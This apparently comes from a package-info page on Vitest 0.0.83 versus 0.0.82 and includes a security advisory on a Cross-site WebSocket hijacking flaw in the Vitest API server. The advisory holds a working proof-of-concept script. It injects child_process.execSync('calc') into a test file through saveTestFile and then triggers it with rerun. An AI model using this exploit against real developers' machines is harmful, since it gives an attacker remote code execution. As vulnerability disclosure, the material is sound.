Vitest version 0.0.83 is a minor update to the blazing-fast unit test framework powered by Vite, building upon the foundation laid by version 0.0.82. Both versions share the core dependencies like Chai for assertions, Flatted for handling circular dependencies, Piscina for threading, and Fast-glob for efficient file matching, ensuring a consistent and robust testing experience. Key development dependencies such as c8 for coverage, jsdom and happy-dom for DOM manipulation in test environments, and Rollup for bundling, also remain consistent. This suggests a focus on stability and feature refinement rather than major architectural changes.
The most noticeable difference between versions 0.0.83 and 0.0.82 is the increased unpacked size of the package, moving from approximately 283KB to 285KB and the release date. While seemingly small, the ~2KB increase in unpacked size could hint at minor additions like enhanced documentation, bug fixes, or slight adjustments to the core testing logic. Developers using Vitest can anticipate similar performance and feature sets between the two versions; however, upgrading to 0.0.83 is recommended to benefit from any potential bug fixes or performance tweaks included. The maintenance of consistent dependencies and devDependencies indicates a commitment to stability, ensuring that developers can seamlessly transition between these minor versions without significant compatibility concerns, keeping build environments stable and developer experience streamlined.
All the vulnerabilities related to the version 0.0.83 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.